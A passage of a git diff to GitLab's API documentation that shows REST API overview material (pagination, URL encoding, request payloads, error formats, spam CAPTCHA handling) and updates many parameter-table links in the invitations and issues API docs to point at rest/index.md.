<https://gitlab.example.com/api/v4/groups?pagination=keyset&per_page=50&order_by=name&sort=asc&cursor=eyJuYW1lIjoiRmxpZ2h0anMiLCJpZCI6IjI2IiwiX2tkIjoibiJ9>; rel="next" -Status: 200 OK -... -``` - -The link to the next page contains an additional filter `cursor=eyJuYW1lIjoiRmxpZ2h0anMiLCJpZCI6IjI2IiwiX2tkIjoibiJ9` that -excludes already-retrieved records. - -The type of filter depends on the -`order_by` option used, and we can have more than one additional filter. - -WARNING: -The `Links` header was removed in GitLab 14.0 to be aligned with the -[W3C `Link` specification](https://www.w3.org/wiki/LinkHeader). The `Link` -header was [added in GitLab 13.1](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/33714) -and should be used instead. - -When the end of the collection is reached and there are no additional -records to retrieve, the `Link` header is absent and the resulting array is -empty. - -We recommend using only the given link to retrieve the next page instead of -building your own URL. Apart from the headers shown, we don't expose additional -pagination headers. - -Keyset-based pagination is supported only for selected resources and ordering -options: - -| Resource | Options | Availability | -|:---------------------------------------------------------|:---------------------------------|:-------------------------------------------------------------------------------------------------------------| -| [Projects](projects.md) | `order_by=id` only | Authenticated and unauthenticated users | -| [Groups](groups.md) | `order_by=name`, `sort=asc` only | Unauthenticated users only | -| [Group audit events](audit_events.md#group-audit-events) | `order_by=id`, `sort=desc` only | Authenticated users only ([introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/333968) in GitLab 15.2) | - -### Pagination response headers - -For performance reasons, if a query returns more than 10,000 records, GitLab -doesn't return the following headers: - -- `x-total`. -- `x-total-pages`. -- `rel="last"` `link` - -## Path parameters - -If an endpoint has path parameters, the documentation displays them with a -preceding colon. - -For example: - -```plaintext -DELETE /projects/:id/share/:group_id -``` - -The `:id` path parameter needs to be replaced with the project ID, and the -`:group_id` needs to be replaced with the ID of the group. The colons `:` -shouldn't be included. - -The resulting cURL request for a project with ID `5` and a group ID of `17` is then: - -```shell -curl --request DELETE --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/5/share/17" -``` - -Path parameters that are required to be URL-encoded must be followed. If not, -it doesn't match an API endpoint and responds with a 404. If there's -something in front of the API (for example, Apache), ensure that it doesn't decode -the URL-encoded path parameters. - -## Namespaced path encoding - -If using namespaced API requests, make sure that the `NAMESPACE/PROJECT_PATH` is -URL-encoded. - -For example, `/` is represented by `%2F`: - -```plaintext -GET /api/v4/projects/diaspora%2Fdiaspora -``` - -A project's _path_ isn't necessarily the same as its _name_. A project's path is -found in the project's URL or in the project's settings, under -**General > Advanced > Change path**. - -## File path, branches, and tags name encoding - -If a file path, branch or tag contains a `/`, make sure it is URL-encoded. - -For example, `/` is represented by `%2F`: - -```plaintext -GET /api/v4/projects/1/repository/files/src%2FREADME.md?ref=master -GET /api/v4/projects/1/branches/my%2Fbranch/commits -GET /api/v4/projects/1/repository/tags/my%2Ftag -``` - -## Request Payload - -API Requests can use parameters sent as [query strings](https://en.wikipedia.org/wiki/Query_string) -or as a [payload body](https://datatracker.ietf.org/doc/html/draft-ietf-httpbis-p3-payload-14#section-3.2). -GET requests usually send a query string, while PUT or POST requests usually -send the payload body: - -- Query string: - - ```shell - curl --request POST "https://gitlab/api/v4/projects?name=<example-name>&description=<example-description>" - ``` - -- Request payload (JSON): - - ```shell - curl --request POST --header "Content-Type: application/json" \ - --data '{"name":"<example-name>", "description":"<example-description>"}' "https://gitlab/api/v4/projects" - ``` - -URL encoded query strings have a length limitation. Requests that are too large -result in a `414 Request-URI Too Large` error message. This can be resolved by -using a payload body instead. - -## Encoding API parameters of `array` and `hash` types - -You can request the API with `array` and `hash` types parameters: - -### `array` - -`import_sources` is a parameter of type `array`: - -```shell -curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" \ --d "import_sources[]=github" \ --d "import_sources[]=bitbucket" \ -"https://gitlab.example.com/api/v4/some_endpoint" -``` - -### `hash` - -`override_params` is a parameter of type `hash`: - -```shell -curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" \ ---form "namespace=email" \ ---form "path=impapi" \ ---form "file=@/path/to/somefile.txt" \ ---form "override_params[visibility]=private" \ ---form "override_params[some_other_param]=some_value" \ -"https://gitlab.example.com/api/v4/projects/import" -``` - -### Array of hashes - -`variables` is a parameter of type `array` containing hash key/value pairs -`[{ 'key': 'UPLOAD_TO_S3', 'value': 'true' }]`: - -```shell -curl --globoff --request POST --header "PRIVATE-TOKEN: <your_access_token>" \ -"https://gitlab.example.com/api/v4/projects/169/pipeline?ref=master&variables[0][key]=VAR1&variables[0][value]=hello&variables[1][key]=VAR2&variables[1][value]=world" - -curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" \ ---header "Content-Type: application/json" \ ---data '{ "ref": "master", "variables": [ {"key": "VAR1", "value": "hello"}, {"key": "VAR2", "value": "world"} ] }' \ -"https://gitlab.example.com/api/v4/projects/169/pipeline" -``` - -## `id` vs `iid` - -Some resources have two similarly-named fields. For example, [issues](issues.md), -[merge requests](merge_requests.md), and [project milestones](merge_requests.md). -The fields are: - -- `id`: ID that is unique across all projects. -- `iid`: Additional, internal ID (displayed in the web UI) that's unique in the - scope of a single project. - -If a resource has both the `iid` field and the `id` field, the `iid` field is -usually used instead of `id` to fetch the resource. - -For example, suppose a project with `id: 42` has an issue with `id: 46` and -`iid: 5`. In this case: - -- A valid API request to retrieve the issue is `GET /projects/42/issues/5`. -- An invalid API request to retrieve the issue is `GET /projects/42/issues/46`. - -Not all resources with the `iid` field are fetched by `iid`. For guidance -regarding which field to use, see the documentation for the specific resource. - -## Data validation and error reporting - -When working with the API you may encounter validation errors, in which case -the API returns an HTTP `400` error. - -Such errors appear in the following cases: - -- A required attribute of the API request is missing (for example, the title of - an issue isn't given). -- An attribute did not pass the validation (for example, the user bio is too - long). - -When an attribute is missing, you receive something like: - -```http -HTTP/1.1 400 Bad Request -Content-Type: application/json -{ - "message":"400 (Bad request) \"title\" not given" -} -``` - -When a validation error occurs, error messages are different. They hold -all details of validation errors: - -```http -HTTP/1.1 400 Bad Request -Content-Type: application/json -{ - "message": { - "bio": [ - "is too long (maximum is 255 characters)" - ] - } -} -``` - -This makes error messages more machine-readable. The format can be described as -follows: - -```json -{ - "message": { - "<property-name>": [ - "<error-message>", - "<error-message>", - ... - ], - "<embed-entity>": { - "<property-name>": [ - "<error-message>", - "<error-message>", - ... - ], - } - } -} -``` - -## Unknown route - -When you attempt to access an API URL that doesn't exist, you receive a -404 Not Found message. - -```http -HTTP/1.1 404 Not Found -Content-Type: application/json -{ - "error": "404 Not Found" -} -``` - -## Encoding `+` in ISO 8601 dates - -If you need to include a `+` in a query parameter, you may need to use `%2B` -instead, due to a [W3 recommendation](https://www.w3.org/Addressing/URL/4_URI_Recommentations.html) -that causes a `+` to be interpreted as a space. For example, in an ISO 8601 date, -you may want to include a specific time in ISO 8601 format, such as: - -```plaintext -2017-10-17T23:11:13.000+05:30 -``` - -The correct encoding for the query parameter would be: - -```plaintext -2017-10-17T23:11:13.000%2B05:30 -``` - -## Clients - -There are many unofficial GitLab API Clients for most of the popular programming -languages. For a complete list, visit the [GitLab website](https://about.gitlab.com/partners/technology-partners/#api-clients). - -## Rate limits - -For administrator documentation on rate limit settings, see -[Rate limits](../security/rate_limits.md). To find the settings that are -specifically used by GitLab.com, see -[GitLab.com-specific rate limits](../user/gitlab_com/index.md#gitlabcom-specific-rate-limits). - -## Content type - -The GitLab API supports the `application/json` content type by default, though -some API endpoints also support `text/plain`. - -In [GitLab 13.10 and later](https://gitlab.com/gitlab-org/gitlab/-/issues/250342), -API endpoints do not support `text/plain` by default, unless it's explicitly documented. - -## Resolve requests detected as spam - -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/352913) in GitLab 14.9. - -REST API requests can be detected as spam. If a request is detected as spam and: - -- A CAPTCHA service is not configured, an error response is returned. For example: - - ```json - {"message":{"error":"Your snippet has been recognized as spam and has been discarded."}} - ``` - -- A CAPTCHA service is configured, you receive a response with: - - `needs_captcha_response` set to `true`. - - The `spam_log_id` and `captcha_site_key` fields set. - - For example: - - ```json - {"needs_captcha_response":true,"spam_log_id":42,"captcha_site_key":"6LeIxAcTAAAAAJcZVRqyHh71UMIEGNQ_MXjiZKhI","message":{"error":"Your snippet has been recognized as spam. Please, change the content or solve the reCAPTCHA to proceed."}} - ``` - -- Use the `captcha_site_key` to obtain a CAPTCHA response value using the appropriate CAPTCHA API. - Only [Google reCAPTCHA v2](https://developers.google.com/recaptcha/docs/display) is supported. -- Resubmit the request with the `X-GitLab-Captcha-Response` and `X-GitLab-Spam-Log-Id` headers set. - -```shell -export CAPTCHA_RESPONSE="<CAPTCHA response obtained from CAPTCHA service>" -export SPAM_LOG_ID="<spam_log_id obtained from initial REST response>" -curl --request POST --header "PRIVATE-TOKEN: $PRIVATE_TOKEN" --header "X-GitLab-Captcha-Response: $CAPTCHA_RESPONSE" --header "X-GitLab-Spam-Log-Id: $SPAM_LOG_ID" "https://gitlab.example.com/api/v4/snippets?title=Title&file_name=FileName&content=Content&visibility=public" -``` +- [Integrations](../integration/index.md) +- [Webhooks](../user/project/integrations/webhooks.md) +- [Visual Studio Code extension](../user/project/repository/vscode.md) +- [REST API](rest/index.md) +- [GraphQL API](graphql/index.md) +- [Lint `.gitlab-ci.yml`](lint.md) +- [GitLab as an OAuth2 provider](oauth2.md) diff --git a/doc/api/invitations.md b/doc/api/invitations.md index 908fa0ce890..2484cfe1728 100644 --- a/doc/api/invitations.md +++ b/doc/api/invitations.md @@ -37,7 +37,7 @@ POST /projects/:id/invitations | Attribute | Type | Required | Description | | --------- | ---- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project or group](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project or group](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `email` | string | yes (if `user_id` isn't provided) | The email of the new member or multiple emails separated by commas. | | `user_id` | integer/string | yes (if `email` isn't provided) | The ID of the new member or multiple IDs separated by commas. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/350999) in GitLab 14.10. | | `access_level` | integer | yes | A valid access level | @@ -88,7 +88,7 @@ GET /projects/:id/invitations | Attribute | Type | Required | Description | | --------- | ---- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project or group](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project or group](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `page` | integer | no | Page to retrieve | | `per_page`| integer | no | Number of member invitations to return per page | | `query` | string | no | A query string to search for invited members by invite email. Query text must match email address exactly. When empty, returns all invitations. | @@ -125,7 +125,7 @@ PUT /projects/:id/invitations/:email | Attribute | Type | Required | Description | | --------- | ---- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project or group](index.md#namespaced-path-encoding) owned by the authenticated user. | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project or group](rest/index.md#namespaced-path-encoding) owned by the authenticated user. | | `email` | string | yes | The email address the invitation was previously sent to. | | `access_level` | integer | no | A valid access level (defaults: `30`, the Developer role). | | `expires_at` | string | no | A date string in ISO 8601 format (`YYYY-MM-DDTHH:MM:SSZ`). | @@ -155,7 +155,7 @@ DELETE /projects/:id/invitations/:email | Attribute | Type | Required | Description | | --------- | ---- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project or group](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project or group](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `email` | string | yes | The email address to which the invitation was previously sent | ```shell diff --git a/doc/api/issue_links.md b/doc/api/issue_links.md index ce3d26f1c08..46cf8e9b2b6 100644 --- a/doc/api/issue_links.md +++ b/doc/api/issue_links.md @@ -22,7 +22,7 @@ Parameters: | Attribute | Type | Required | Description | |-------------|---------|----------|--------------------------------------| -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `issue_iid` | integer | yes | The internal ID of a project's issue | ```json @@ -77,7 +77,7 @@ Supported attributes: | Attribute | Type | Required | Description | |-----------------|----------------|------------------------|-----------------------------------------------------------------------------| -| `id` | integer/string | **{check-circle}** Yes | ID or [URL-encoded path of the project](index.md#namespaced-path-encoding). | +| `id` | integer/string | **{check-circle}** Yes | ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding). | | `issue_iid` | integer | **{check-circle}** Yes | Internal ID of a project's issue. | | `issue_link_id` | integer/string | **{check-circle}** Yes | ID of an issue relationship. | @@ -174,9 +174,9 @@ POST /projects/:id/issues/:issue_iid/links | Attribute | Type | Required | Description | |---------------------|----------------|----------|--------------------------------------| -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `issue_iid` | integer | yes | The internal ID of a project's issue | -| `target_project_id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) of a target project | +| `target_project_id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) of a target project | | `target_issue_iid` | integer/string | yes | The internal ID of a target project's issue | | `link_type` | string | no | The type of the relation (`relates_to`, `blocks`, `is_blocked_by`), defaults to `relates_to`). | @@ -262,7 +262,7 @@ DELETE /projects/:id/issues/:issue_iid/links/:issue_link_id | Attribute | Type | Required | Description | |-------------|---------|----------|--------------------------------------| -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `issue_iid` | integer | yes | The internal ID of a project's issue | | `issue_link_id` | integer/string | yes | The ID of an issue relationship | | `link_type` | string | no | The type of the relation (`relates_to`, `blocks`, `is_blocked_by`), defaults to `relates_to` | diff --git a/doc/api/issues.md b/doc/api/issues.md index 94547d69064..e252655f781 100644 --- a/doc/api/issues.md +++ b/doc/api/issues.md @@ -16,7 +16,7 @@ request on that project results in a `404` status code. By default, `GET` requests return 20 results at a time because the API results are paginated. -Read more on [pagination](index.md#pagination). +Read more on [pagination](rest/index.md#pagination). WARNING: The `reference` attribute in responses is deprecated in favor of `references`. @@ -295,7 +295,7 @@ GET /groups/:id/issues?state=opened | `created_before` | datetime | no | Return issues created on or before the given time. Expected in ISO 8601 format (`2019-03-15T08:00:00Z`) | | `due_date` | string | no | Return issues that have no due date, are overdue, or whose due date is this week, this month, or between two weeks ago and next month. Accepts: `0` (no due date), `any`, `today`, `tomorrow`, `overdue`, `week`, `month`, `next_month_and_previous_two_weeks`. | | `epic_id` **(PREMIUM)** | integer | no | Return issues associated with the given epic ID. `None` returns issues that are not associated with an epic. `Any` returns issues that are associated with an epic. _([Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/46887) in GitLab 13.6)_ -| `id` | integer/string | yes | The global ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The global ID or [URL-encoded path of the group](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `iids[]` | integer array | no | Return only the issues having the given `iid` | | `issue_type` | string | no | Filter to a given type of issue. One of `issue`, `incident`, or `test_case`. _([Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/260375) in GitLab 13.12)_ | | `iteration_id` **(PREMIUM)** | integer | no | Return issues assigned to the given iteration ID. `None` returns issues that do not belong to an iteration. `Any` returns issues that belong to an iteration. Mutually exclusive with `iteration_title`. _([Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/118742) in GitLab 13.6)_ | @@ -499,7 +499,7 @@ GET /projects/:id/issues?state=opened | `created_before` | datetime | no | Return issues created on or before the given time. Expected in ISO 8601 format (`2019-03-15T08:00:00Z`) | | `due_date` | string | no | Return issues that have no due date, are overdue, or whose due date is this week, this month, or between two weeks ago and next month. Accepts: `0` (no due date), `any`, `today`, `tomorrow`, `overdue`, `week`, `month`, `next_month_and_previous_two_weeks`. | | `epic_id` **(PREMIUM)** | integer | no | Return issues associated with the given epic ID. `None` returns issues that are not associated with an epic. `Any` returns issues that are associated with an epic. _([Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/46887) in GitLab 13.6)_ -| `id` | integer/string | yes | The global ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The global ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `iids[]` | integer array | no | Return only the issues having the given `iid` | | `issue_type` | string | no | Filter to a given type of issue. One of `issue`, `incident`, or `test_case`. _([Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/260375) in GitLab 13.12)_ | | `iteration_id` **(PREMIUM)** | integer | no | Return issues assigned to the given iteration ID. `None` returns issues that do not belong to an iteration. `Any` returns issues that belong to an iteration. Mutually exclusive with `iteration_title`. _([Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/118742) in GitLab 13.6)_ | @@ -846,7 +846,7 @@ GET /projects/:id/issues/:issue_iid | Attribute | Type | Required | Description | |-------------|---------|----------|--------------------------------------| -| `id` | integer/string | yes | The global ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The global ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `issue_iid` | integer | yes | The internal ID of a project's issue | ```shell @@ -1012,7 +1012,7 @@ POST /projects/:id/issues | `due_date` | string | no | The due date. Date time string in the format `YYYY-MM-DD`, for example `2016-03-11` | | `epic_id` **(PREMIUM)** | integer | no | ID of the epic to add the issue to. Valid values are greater than or equal to 0. | | `epic_iid` **(PREMIUM)** | integer | no | IID of the epic to add the issue to. Valid values are greater than or equal to 0. (deprecated, [scheduled for removal](https://gitlab.com/gitlab-org/gitlab/-/issues/35157) in API version 5) | -| `id` | integer/string | yes | The global ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The global ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `iid` | integer/string | no | The internal ID of the project's issue (requires administrator or project owner rights) | | `issue_type` | string | no | The type of issue. One of `issue`, `incident`, or `test_case`. Default is `issue`. | | `labels` | string | no | Comma-separated label names for an issue | @@ -1180,7 +1180,7 @@ PUT /projects/:id/issues/:issue_iid | `due_date` | string | no | The due date. Date time string in the format `YYYY-MM-DD`, for example `2016-03-11` | | `epic_id` **(PREMIUM)** | integer | no | ID of the epic to add the issue to. Valid values are greater than or equal to 0. | | `epic_iid` **(PREMIUM)** | integer | no | IID of the epic to add the issue to. Valid values are greater than or equal to 0. (deprecated, [scheduled for removal](https://gitlab.com/gitlab-org/gitlab/-/issues/35157) in API version 5) | -| `id` | integer/string | yes | The global ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The global ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `issue_iid` | integer | yes | The internal ID of a project's issue | | `issue_type` | string | no | Updates the type of issue. One of `issue`, `incident`, or `test_case`. | | `labels` | string | no | Comma-separated label names for an issue. Set to an empty string to unassign all labels. | @@ -1326,7 +1326,7 @@ DELETE /projects/:id/issues/:issue_iid | Attribute | Type | Required | Description | |-------------|---------|----------|--------------------------------------| -| `id` | integer/string | yes | The global ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The global ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `issue_iid` | integer | yes | The internal ID of a project's issue | ```shell @@ -1345,7 +1345,7 @@ PUT /projects/:id/issues/:issue_iid/reorder | Attribute | Type | Required | Description | |-------------|---------|----------|--------------------------------------| -| `id` | integer/string | yes | The global ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The global ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `issue_iid` | integer | yes | The internal ID of the project's issue | | `move_after_id` | integer | no | The global ID of a project's issue that should be placed after this issue | | `move_before_id` | integer | no | The global ID of a project's issue that should be placed before this issue | @@ -1369,7 +1369,7 @@ POST /projects/:id/issues/:issue_iid/move | Attribute | Type | Required | Description | |-----------------|---------|----------|--------------------------------------| -| `id` | integer/string | yes | The global ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The global ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `issue_iid` | integer | yes | The internal ID of a project's issue | | `to_project_id` | integer | yes | The ID of the new project | @@ -1515,7 +1515,7 @@ POST /projects/:id/issues/:issue_iid/clone | Attribute | Type | Required | Description | | --------------- | -------------- | ---------------------- | --------------------------------- | -| `id` | integer/string | **{check-circle}** Yes | ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. | +| `id` | integer/string | **{check-circle}** Yes | ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user. | | `issue_iid` | integer | **{check-circle}** Yes | Internal ID of a project's issue. | | `to_project_id` | integer | **{check-circle}** Yes | ID of the new project. | | `with_notes` | boolean | **{dotted-circle}** No | Clone the issue with [notes](notes.md). Default is `false`. | @@ -1622,7 +1622,7 @@ POST /projects/:id/issues/:issue_iid/subscribe | Attribute | Type | Required | Description | |-------------|---------|----------|--------------------------------------| -| `id` | integer/string | yes | The global ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The global ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `issue_iid` | integer | yes | The internal ID of a project's issue | ```shell @@ -1765,7 +1765,7 @@ POST /projects/:id/issues/:issue_iid/unsubscribe | Attribute | Type | Required | Description | |-------------|---------|----------|--------------------------------------| -| `id` | integer/string | yes | The global ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The global ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `issue_iid` | integer | yes | The internal ID of a project's issue | ```shell @@ -1839,7 +1839,7 @@ POST /projects/:id/issues/:issue_iid/todo | Attribute | Type | Required | Description | |-------------|---------|----------|--------------------------------------| -| `id` | integer/string | yes | The global ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The global ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `issue_iid` | integer | yes | The internal ID of a project's issue | ```shell @@ -1950,7 +1950,7 @@ The `assignee` column is deprecated. We now show it as a single-sized array `ass Promotes an issue to an epic by adding a comment with the `/promote` [quick action](../user/project/quick_actions.md). -To learn more about promoting issues to epics, visit [Manage epics](../user/group/epics/manage_epics.md#promote-an-issue-to-an-epic). +For more information about promoting issues to epics, see [Manage epics](../user/group/epics/manage_epics.md#promote-an-issue-to-an-epic). ```plaintext POST /projects/:id/issues/:issue_iid/notes @@ -1960,7 +1960,7 @@ Supported attributes: | Attribute | Type | Required | Description | | :---------- | :------------- | :------- | :---------- | -| `id` | integer/string | yes | The global ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The global ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `issue_iid` | integer | yes | The internal ID of a project's issue | | `body` | String | yes | The content of a note. Must contain `/promote` at the start of a new line. | @@ -2011,7 +2011,7 @@ POST /projects/:id/issues/:issue_iid/time_estimate | Attribute | Type | Required | Description | |-------------|---------|----------|------------------------------------------| | `duration` | string | yes | The duration in human format. e.g: `3h30m` | -| `id` | integer/string | yes | The global ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The global ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `issue_iid` | integer | yes | The internal ID of a project's issue | ```shell @@ -2039,7 +2039,7 @@ POST /projects/:id/issues/:issue_iid/reset_time_estimate | Attribute | Type | Required | Description | |-------------|---------|----------|--------------------------------------| -| `id` | integer/string | yes | The global ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The global ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `issue_iid` | integer | yes | The internal ID of a project's issue | ```shell @@ -2068,7 +2068,7 @@ POST /projects/:id/issues/:issue_iid/add_spent_time | Attribute | Type | Required | Description | |-------------|---------|----------|------------------------------------------| | `duration` | string | yes | The duration in human format. e.g: `3h30m` | -| `id` | integer/string | yes | The global ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The global ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `issue_iid` | integer | yes | The internal ID of a project's issue | | `summary` | string | no | A summary of how the time was spent | @@ -2097,7 +2097,7 @@ POST /projects/:id/issues/:issue_iid/reset_spent_time | Attribute | Type | Required | Description | |-------------|---------|----------|--------------------------------------| -| `id` | integer/string | yes | The global ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The global ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `issue_iid` | integer | yes | The internal ID of a project's issue | ```shell @@ -2126,7 +2126,7 @@ GET /projects/:id/issues/:issue_iid/time_stats | Attribute | Type | Required | Description | |-------------|---------|----------|--------------------------------------| -| `id` | integer/string | yes | The global ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The global ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `issue_iid` | integer | yes | The internal ID of a project's issue | ```shell @@ -2157,7 +2157,7 @@ GET /projects/:id/issues/:issue_iid/related_merge_requests | Attribute | Type | Required | Description | |-------------|---------|----------|--------------------------------------| -| `id` | integer/string | yes | The global ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The global ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `issue_iid` | integer | yes | The internal ID of a project's issue | ```shell @@ -2317,7 +2317,7 @@ GET /projects/:id/issues/:issue_iid/closed_by | Attribute | Type | Required | Description | | ----------- | ---------------| -------- | ---------------------------------- | -| `id` | integer/string | yes | The global ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The global ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `issue_iid` | integer | yes | The internal ID of a project issue | ```shell @@ -2394,7 +2394,7 @@ GET /projects/:id/issues/:issue_iid/participants | Attribute | Type | Required | Description | |-------------|---------|----------|--------------------------------------| -| `id` | integer/string | yes | The global ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The global ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `issue_iid` | integer | yes | The internal ID of a project's issue | ```shell @@ -2438,7 +2438,7 @@ GET /projects/:id/issues/:issue_iid/user_agent_detail | Attribute | Type | Required | Description | |-------------|---------|----------|--------------------------------------| -| `id` | integer/string | yes | The global ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The global ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `issue_iid` | integer | yes | The internal ID of a project's issue | ```shell @@ -2470,7 +2470,7 @@ POST /projects/:id/issues/:issue_iid/metric_images | Attribute | Type | Required | Description | |-------------|---------|----------|--------------------------------------| -| `id` | integer/string | yes | The global ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The global ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `issue_iid` | integer | yes | The internal ID of a project's issue | | `file` | file | yes | The image file to be uploaded | | `url` | string | no | The URL to view more metric information | @@ -2504,7 +2504,7 @@ GET /projects/:id/issues/:issue_iid/metric_images | Attribute | Type | Required | Description | |-------------|---------|----------|--------------------------------------| -| `id` | integer/string | yes | The global ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The global ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `issue_iid` | integer | yes | The internal ID of a project's issue | ```shell @@ -2542,7 +2542,7 @@ PUT /projects/:id/issues/:issue_iid/metric_images/:image_id | Attribute | Type | Required | Description | |-------------|---------|----------|--------------------------------------| -| `id` | integer/string | yes | The global ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The global ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `issue_iid` | integer | yes | The internal ID of a project's issue | | `image_id` | integer | yes | The ID of the image | | `url` | string | no | The URL to view more metric information | @@ -2575,7 +2575,7 @@ DELETE /projects/:id/issues/:issue_iid/metric_images/:image_id | Attribute | Type | Required | Description | |-------------|---------|----------|--------------------------------------| -| `id` | integer/string | yes | The global ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | 